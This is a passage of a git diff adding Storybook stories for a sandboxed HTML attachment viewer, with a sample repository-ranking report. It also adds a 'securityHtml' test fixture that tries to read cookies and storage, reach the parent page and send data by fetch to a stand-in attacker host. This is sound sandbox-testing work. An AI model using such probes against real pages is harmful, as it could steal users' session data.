/^(application\/(json|xml|javascript|x-yaml|yaml)|application\/[\w.-]+\+json)$/.test(type)|| (["", "application/octet-stream"].includes(type)diff --git a/ui/storybook/stories/html-artifacts/01-preview.stories.tsx b/ui/storybook/stories/html-artifacts/01-preview.stories.tsxnew file mode 100644index 0000000000..953713b37a--- /dev/null+++ b/ui/storybook/stories/html-artifacts/01-preview.stories.tsx@@ -0,0 +1,25 @@+import type { Meta, StoryObj } from "@storybook/react-vite";+import { TextAttachmentPreview } from "@/components/task-side-panel/TaskAttachmentPanel";+import { reportHtml, securityHtml } from "./fixtures";++function Preview({ html = reportHtml, title = "repository-usage.html", width = 800 }: { html?: string; title?: string; width?: number }) {+ return <main className="min-h-screen bg-background p-4 text-foreground">+ <section className="mx-auto flex h-(--sz-640px) max-w-full flex-col overflow-hidden rounded-lg border border-border" style={{ width }}>+ <TextAttachmentPreview key={title} title={title} text={html} markdown={false} html downloadUrl={`data:text/html;charset=utf-8,${encodeURIComponent(html)}`} />+ </section>+ </main>;+}++const meta = {+ title: "HTML artifacts/01 Preview",+ component: Preview,+ args: { html: reportHtml, title: "repository-usage.html", width: 800 },+ parameters: { layout: "fullscreen", docs: { description: { component: "Production attachment viewer. Inline CSS and JavaScript run in an opaque-origin sandbox. Remote dependencies and API requests are blocked. The original file is available through Download or Raw." }, story: { inline: false } } },+} satisfies Meta<typeof Preview>;+export default meta;+type Story = StoryObj<typeof meta>;+export const InteractiveReport: Story = {};+export const SecurityChecks: Story = { args: { html: securityHtml, title: "isolation-checks.html" } };+export const Empty: Story = { args: { html: "", title: "empty.html" } };+export const Mobile: Story = { args: { width: 360 }, globals: { viewport: { value: "mobile", isRotated: false } } };+export const Light: Story = { globals: { theme: "light" } };diff --git a/ui/storybook/stories/html-artifacts/02-workspace.stories.tsx b/ui/storybook/stories/html-artifacts/02-workspace.stories.tsxnew file mode 100644index 0000000000..eedb1f17d0--- /dev/null+++ b/ui/storybook/stories/html-artifacts/02-workspace.stories.tsx@@ -0,0 +1,40 @@+import { useState } from "react";+import type { Meta, StoryObj } from "@storybook/react-vite";+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";+import type { ResolvedWorkspaceResource } from "@paperclipai/shared";+import { TaskWorkspaceFilePanel } from "@/components/task-side-panel/TaskWorkspaceFilePanel";+import { FileViewerSheet } from "@/components/FileViewerSheet";+import { FileViewerProvider } from "@/context/FileViewerContext";+import { queryKeys } from "@/lib/queryKeys";+import { reportHtml } from "./fixtures";++const issueId = "html-workspace-story";+const state = { path: "reports/repository-usage.html", workspace: "project" as const, workspaceId: null, projectId: null, line: null, column: null };++function Workspace({ sheet = false }: { sheet?: boolean }) {+ const [client] = useState(() => {+ const cache = new QueryClient({ defaultOptions: { queries: { staleTime: Infinity, retry: false } } });+ const resource: ResolvedWorkspaceResource = {+ kind: "file", provider: "local_fs", title: "repository-usage.html", displayPath: state.path,+ workspaceLabel: "Research workspace", workspaceKind: "project_workspace", workspaceId: "research-workspace",+ contentType: "text/html", byteSize: reportHtml.length, previewKind: "text", denialReason: null,+ capabilities: { preview: true, download: true, listChildren: false },+ };+ cache.setQueryData(queryKeys.issues.fileResource(issueId, state), resource);+ cache.setQueryData(queryKeys.issues.fileResourceContent(issueId, state), { resource, content: { encoding: "utf8", data: reportHtml } });+ return cache;+ });+ return <QueryClientProvider client={client}><FileViewerProvider issueId={issueId}>+ <main className="min-h-screen bg-background p-4 text-foreground">+ {sheet ? <FileViewerSheet issueId={issueId} state={state} open /> : <section className="mx-auto h-(--sz-640px) max-w-3xl overflow-hidden rounded-lg border border-border">+ <TaskWorkspaceFilePanel issueId={issueId} payload={{ kind: "workspace-file", ...state }} />+ </section>}+ </main>+ </FileViewerProvider></QueryClientProvider>;+}+const meta = { title: "HTML artifacts/02 Workspace", component: Workspace, render: (args, context) => <Workspace key={context.id} {...args} />, parameters: { layout: "fullscreen", docs: { story: { inline: false } } } } satisfies Meta<typeof Workspace>;+export default meta;+type Story = StoryObj<typeof meta>;+export const TaskPanel: Story = {};+export const FileSheet: Story = { args: { sheet: true } };+export const Mobile: Story = { globals: { viewport: { value: "mobile", isRotated: false } } };diff --git a/ui/storybook/stories/html-artifacts/03-task-journey.stories.tsx b/ui/storybook/stories/html-artifacts/03-task-journey.stories.tsxnew file mode 100644index 0000000000..80458df3e0--- /dev/null+++ b/ui/storybook/stories/html-artifacts/03-task-journey.stories.tsx@@ -0,0 +1,84 @@+import { useState } from "react";+import type { Meta, StoryObj } from "@storybook/react-vite";+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";+import type { IssueAttachment } from "@paperclipai/shared";+import { Routes, Route } from "@/lib/router";+import { Layout } from "@/components/Layout";+import { TaskChatBubble } from "@/components/task-chat/TaskChatBubble";+import { TaskSidePanel } from "@/components/task-side-panel/TaskSidePanel";+import { IssueArtifactFile } from "@/components/artifacts/IssueArtifactCard";+import { TextAttachmentContext } from "@/context/TextAttachmentContext";+import { PluginLauncherProvider } from "@/plugins/launchers";+import { queryKeys } from "@/lib/queryKeys";+import { createIssue, storybookAgents } from "../../fixtures/paperclipData";+import { reportHtml } from "./fixtures";+import reportDownload from "./report.html?url";++const issue = createIssue({ id: "html-artifact-journey", identifier: "DEMO-101", title: "Find popular repositories that use Paperclip a lot", status: "done", completedAt: new Date("2026-10-07T12:54:00Z"), currentExecutionWorkspace: null, executionWorkspaceId: null });+const attachment: IssueAttachment = {+ id: "html-usage-report", companyId: issue.companyId, issueId: issue.id, issueCommentId: null,+ assetId: "html-usage-asset", provider: "local_disk", sha256: "storybook-fixture",+ createdByAgentId: "agent-codex", createdByUserId: null, originatingRunId: null,+ originalFilename: "repository-usage.html", objectKey: "repository-usage.html", contentType: "text/html",+ byteSize: reportHtml.length, contentPath: "/api/attachments/html-usage-report/content",+ downloadPath: reportDownload,+ createdAt: new Date("2026-10-07T12:54:00Z"),+ updatedAt: new Date("2026-10-07T12:54:00Z"),+};++function TaskJourney({ openInitially = false }: { openInitially?: boolean }) {+ const [open, setOpen] = useState<{ id: string; title: string; requestId: number } | null>(() => openInitially ? { id: attachment.id, title: attachment.originalFilename!, requestId: 1 } : null);+ const [client] = useState(() => {+ const cache = new QueryClient({ defaultOptions: { queries: { staleTime: Infinity, retry: false } } });+ cache.setQueryData(queryKeys.issues.attachments(issue.id), [attachment]);+ cache.setQueryData(queryKeys.issues.workProducts(issue.id), []);+ cache.setQueryData([...queryKeys.issues.documents(issue.id), "list"], []);+ cache.setQueryData([...queryKeys.issues.documents(issue.id), "plan"], null);+ cache.setQueryData(queryKeys.issues.runs(issue.id), []);+ cache.setQueryData(queryKeys.agents.list(issue.companyId), storybookAgents);+ cache.setQueryData(["task-text-attachment", issue.id, attachment.id], reportHtml);+ window.localStorage.removeItem(`paperclip:task-side-panel:v1:storybook-html:${issue.companyId}`);+ return cache;+ });+ return <QueryClientProvider client={client}>+ <TextAttachmentContext.Provider value={(id, title) => setOpen({ id, title, requestId: Date.now() })}>+ <div className="flex h-full min-h-0 flex-col gap-6 p-4 lg:flex-row">+ <section className="min-w-0 flex-1 space-y-6 overflow-auto">+ <h1 className="text-xl font-semibold">{issue.title}</h1>+ <TaskChatBubble item={{ id: "request", kind: "message", author: "human", text: "Give me a report that combines repository popularity and repeated Paperclip usage." }} />+ <TaskChatBubble item={{ id: "response", kind: "message", author: "agent", text: "Hyperswitch and Storybook lead the combined ranking. Open the report to explore the weighting and filter the results." }} />+ <IssueArtifactFile id={attachment.id} attachmentId={attachment.id} title="Interactive repository usage report" summary="" filename={attachment.originalFilename!} contentType={attachment.contentType} contentPath={attachment.contentPath} downloadPath={attachment.downloadPath!} byteSize={attachment.byteSize} author="CodexRunner" updatedAt="7:54 AM" />+ </section>+ <section className="h-(--sz-640px) min-w-0 flex-1 overflow-hidden rounded-lg border border-border" aria-label="Task side panel">+ <TaskSidePanel issue={issue} accountScope="storybook-html" inline onUpdate={() => {}} fileTabsEnabled={false} openAttachment={open} />+ </section>+ </div>+ </TextAttachmentContext.Provider>+ </QueryClientProvider>;+}++function Journey(props: { openInitially?: boolean }) {+ return <PluginLauncherProvider><Routes><Route path="/:companyPrefix" element={<Layout />}>+ <Route path="issues/:issueId" element={<TaskJourney {...props} />} />+ </Route></Routes></PluginLauncherProvider>;+}+const meta = {+ title: "HTML artifacts/03 Task journey", component: Journey,+ parameters: { layout: "fullscreen", initialEntries: ["/PAP/issues/html-artifact-journey"], docs: { description: { component: "Open the HTML artifact from the task's report card or Artifacts tab, filter the report, then switch to Raw beside Download. Uses the production app shell, artifact card, task panel and HTML renderer with simulated report data." }, story: { inline: false } } },+ beforeEach: () => {+ const originalFetch = window.fetch;+ const fixtureFetch: typeof window.fetch = async (input, init) => {+ const url = new URL(typeof input === "string" ? input : input instanceof URL ? input.href : input.url, window.location.origin);+ if (url.pathname === `/api/issues/${issue.id}/work-products`) return Response.json([]);+ return originalFetch(input, init);+ };+ window.fetch = fixtureFetch;+ return () => { if (window.fetch === fixtureFetch) window.fetch = originalFetch; };+ },+ render: (args, context) => <Journey key={context.id} {...args} />,+} satisfies Meta<typeof Journey>;+export default meta;+type Story = StoryObj<typeof meta>;+export const OpenFromTask: Story = {};+export const ReportOpen: Story = { args: { openInitially: true } };+export const Mobile: Story = { args: { openInitially: true }, globals: { viewport: { value: "mobile", isRotated: false } } };diff --git a/ui/storybook/stories/html-artifacts/fixtures.ts b/ui/storybook/stories/html-artifacts/fixtures.tsnew file mode 100644index 0000000000..b961083ecf--- /dev/null+++ b/ui/storybook/stories/html-artifacts/fixtures.ts@@ -0,0 +1,27 @@+import reportHtml from "./report.html?raw";+export { reportHtml };++export const securityHtml = `<!doctype html><html><head>+<meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline'">+<base href="https://html-preview-attacker.invalid/">+<link rel="stylesheet" href="https://html-preview-attacker.invalid/style.css">+<style>body{font:15px/1.7 system-ui;padding:24px;color:#19332b;background:#f6f8f4}li{margin:10px 0}</style>+</head><body><h1>HTML isolation checks</h1><ul id="results"></ul>+<img src="https://html-preview-attacker.invalid/image" alt="Remote image is blocked">+<iframe src="https://html-preview-attacker.invalid/frame" title="Blocked child frame"></iframe>+<form action="https://html-preview-attacker.invalid/form" method="post"><input name="probe" value="test"></form>+<script src="https://html-preview-attacker.invalid/script.js"></script>+<script>+function result(name,value){const li=document.createElement('li');li.textContent=name+': '+value;document.querySelector('#results').append(li)}+function denied(name,action){try{action();result(name,'UNEXPECTED ACCESS')}catch{result(name,'blocked')}}+denied('Cookies',()=>document.cookie);+denied('Parent document',()=>parent.document.body);+denied('Parent cookies',()=>parent.document.cookie);+denied('Local storage',()=>localStorage.getItem('html-preview-secret'));+denied('Session storage',()=>sessionStorage.getItem('html-preview-secret'));+denied('Top navigation',()=>top.location.href='https://html-preview-attacker.invalid/top');+result('Popups',window.open('https://html-preview-attacker.invalid/popup')===null?'blocked':'UNEXPECTED ACCESS');+document.querySelector('form').submit();+fetch('/api/html-preview-probe',{credentials:'include'}).then(()=>result('API request','UNEXPECTED ACCESS')).catch(()=>result('API request','blocked'));+fetch('https://html-preview-attacker.invalid/collect',{method:'POST',body:'probe'}).then(()=>result('Remote request','UNEXPECTED ACCESS')).catch(()=>result('Remote request','blocked'));+</script></body></html>`;diff --git a/ui/storybook/stories/html-artifacts/report.html b/ui/storybook/stories/html-artifacts/report.htmlnew file mode 100644index 0000000000..336ca4125b--- /dev/null+++ b/ui/storybook/stories/html-artifacts/report.html@@ -0,0 +1,29 @@+<!doctype html>+<html lang="en"><head><meta name="viewport" content="width=device-width,initial-scale=1">+<title>Popular repositories with repeated Paperclip credit</title>+<style>+body{margin:0;padding:28px;color:#19332b;background:#f6f8f4;font:15px/1.6 system-ui,sans-serif}+h1{font-size:28px;line-height:1.2;margin:8px 0 16px}p{color:#526459}small{display:block;color:#526459}+.eyebrow{font-size:12px;text-transform:uppercase;letter-spacing:.08em;color:#527366}+.controls{display:flex;flex-wrap:wrap;gap:20px;margin:24px 0;padding:18px;background:white;border:1px solid #dce4da;border-radius:12px}+label{display:grid;gap:6px;flex:1;min-width:180px}input{accent-color:#28765d;font:inherit;padding:6px;min-width:0}+table{border-collapse:collapse;width:100%;font-size:14px}th{text-align:left;color:#526459;font-weight:500}td,th{padding:12px 8px;border-bottom:1px solid #dce4da}+.bar{height:6px;background:#28765d;border-radius:3px;margin-top:5px}.scroll{overflow:auto}+@media(max-width:480px){body{padding:18px}h1{font-size:24px}}+</style></head><body>+<div class="eyebrow">Research report · October 7, 2026</div>+<h1>Popular repositories that use Paperclip a lot</h1>+<p>Compare repository popularity with repeated, attributed usage. Adjust the weighting to explore the ranking.</p>+<div class="controls">+<label>Popularity weight <input id="weight" type="range" min="0" max="100" value="50"><small id="weights"></small></label>+<label>Find a repository <input id="query" type="search" placeholder="Search repositories"></label>+</div>+<p id="total" aria-live="polite"></p>+<div class="scroll"><table><thead><tr><th>Rank</th><th>Repository</th><th>Stars</th><th>Credits</th><th>Score</th></tr></thead><tbody></tbody></table></div>+<small>Illustrative Storybook snapshot. Credits measure attribution, not unique users.</small>+<script>+const records=[['juspay/hyperswitch',46434,117],['storybookjs/storybook',94832,56],['lacymorrow/crossover',1251,44],['smart-mcp-proxy/mcpproxy-go',387,57],['octasoft-ltd/wsl-ui',411,40],['s4solutionsllc/Nexis',87,131]];+const weight=document.querySelector('#weight'),query=document.querySelector('#query');+function render(){const w=Number(weight.value)/100;const rows=records.map(([name,stars,credits])=>({name,stars,credits,score:Math.pow(Math.log1p(stars),w)*Math.pow(Math.log1p(credits),1-w)})).sort((a,b)=>b.score-a.score);const max=rows[0].score;document.querySelector('#weights').textContent=weight.value+'% popularity · '+(100-weight.value)+'% attributed usage';const visible=rows.filter(r=>r.name.toLowerCase().includes(query.value.toLowerCase()));document.querySelector('#total').textContent=visible.length+' qualifying repositories';const body=document.querySelector('tbody');body.replaceChildren();visible.forEach(r=>{const tr=document.createElement('tr');[rows.indexOf(r)+1,r.name,r.stars.toLocaleString(),r.credits,(100*r.score/max).toFixed(1)].forEach((value,i)=>{const td=document.createElement('td');td.textContent=value;if(i===4){const bar=document.createElement('div');bar.className='bar';bar.style.width=(100*r.score/max)+'%';td.append(bar)}tr.append(td)});body.append(tr)})}+weight.addEventListener('input',render);query.addEventListener('input',render);render();+</script></body></html>